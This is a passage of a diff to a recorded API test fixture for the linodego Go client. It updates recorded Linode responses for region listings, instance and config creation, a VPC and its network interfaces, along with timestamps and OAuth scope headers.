172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 20:22:16 GMT + - Fri, 31 May 2024 18:19:13 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-o27gv95tu35t","booted":false}' + body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-8op83i7q1h3f","firewall_id":501582,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 55633797, "label": "go-test-ins-wo-disk-o27gv95tu35t", "group": + body: '{"id": 59544180, "label": "go-test-ins-wo-disk-8op83i7q1h3f", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.233.196.252"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.233.207.234"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "bf7a891314cca054680070d406f60283ad2477aa", "has_user_data": false}' + "fd4fc8c27644288806281ff46f10a1f3afe5cb08", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "738" + - "762" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 20:22:16 GMT + - Fri, 31 May 2024 18:19:14 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-tes2d3k1745m","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-q659h76aab9f","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55633797/configs + url: https://api.linode.com/v4beta/linode/instances/59544180/configs method: POST response: - body: '{"id": 58758984, "label": "go-test-conf-tes2d3k1745m", "helpers": {"updatedb_disabled": + body: '{"id": 62730815, "label": "go-test-conf-q659h76aab9f", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 20:22:16 GMT + - Fri, 31 May 2024 18:19:14 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -386,7 +440,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-vpc-1709583736746076000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1709583736746145000","ipv4":"192.168.0.0/25"}]}' + body: '{"label":"go-test-vpc-1717179554125213000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1717179554125336000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: @@ -398,8 +452,8 @@ interactions: url: https://api.linode.com/v4beta/vpcs method: POST response: - body: '{"id": 26498, "label": "go-test-vpc-1709583736746076000", "description": - "", "region": "us-iad", "subnets": [{"id": 26749, "label": "linodego-vpc-test-1709583736746145000", + body: '{"id": 64443, "label": "go-test-vpc-1717179554125213000", "description": + "", "region": "us-iad", "subnets": [{"id": 63001, "label": "linodego-vpc-test-1717179554125336000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' @@ -425,7 +479,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 20:22:17 GMT + - Fri, 31 May 2024 18:19:14 GMT Pragma: - no-cache Strict-Transport-Security: @@ -440,7 +494,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -449,7 +506,7 @@ interactions: code: 200 duration: "" - request: - body: '{"purpose":"vpc","subnet_id":26749,"ip_ranges":["192.168.0.5/32"]}' + body: '{"purpose":"vpc","subnet_id":63001,"ip_ranges":["192.168.0.5/32"]}' form: {} headers: Accept: @@ -458,11 +515,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55633797/configs/58758984/interfaces + url: https://api.linode.com/v4beta/linode/instances/59544180/configs/62730815/interfaces method: POST response: - body: '{"id": 1149865, "purpose": "vpc", "primary": false, "active": false, "ipam_address": - null, "label": null, "vpc_id": 26498, "subnet_id": 26749, "ipv4": {"vpc": "192.168.0.2", + body: '{"id": 1598973, "purpose": "vpc", "primary": false, "active": false, "ipam_address": + null, "label": null, "vpc_id": 64443, "subnet_id": 63001, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": ["192.168.0.5/32"]}' headers: Access-Control-Allow-Credentials: @@ -486,7 +543,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 20:22:17 GMT + - Fri, 31 May 2024 18:19:15 GMT Pragma: - no-cache Strict-Transport-Security: @@ -501,7 +558,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -519,11 +579,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55633797/configs/58758984/interfaces/1149865 + url: https://api.linode.com/v4beta/linode/instances/59544180/configs/62730815/interfaces/1598973 method: PUT response: - body: '{"id": 1149865, "purpose": "vpc", "primary": true, "active": false, "ipam_address": - null, "label": null, "vpc_id": 26498, "subnet_id": 26749, "ipv4": {"vpc": "192.168.0.2", + body: '{"id": 1598973, "purpose": "vpc", "primary": true, "active": false, "ipam_address": + null, "label": null, "vpc_id": 64443, "subnet_id": 63001, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": ["192.168.0.5/32"]}' headers: Access-Control-Allow-Credentials: @@ -547,7 +607,7 @@ interactions: Content-Type: - application/json Expires: - - Mon, 04 Mar 2024 20:22:17 GMT + - Fri, 31 May 2024 18:19:15 GMT Pragma: - no-cache Strict-Transport-Security: @@ -562,7 +622,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -580,12 +643,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55633797/configs/58758984/interfaces/1149865 + url: https://api.linode.com/v4beta/linode/instances/59544180/configs/62730815/interfaces/1598973 method: PUT response: - body: '{"id": 1149865, "purpose": "vpc", "primary": true, "active": false, "ipam_address": - null, "label": null, 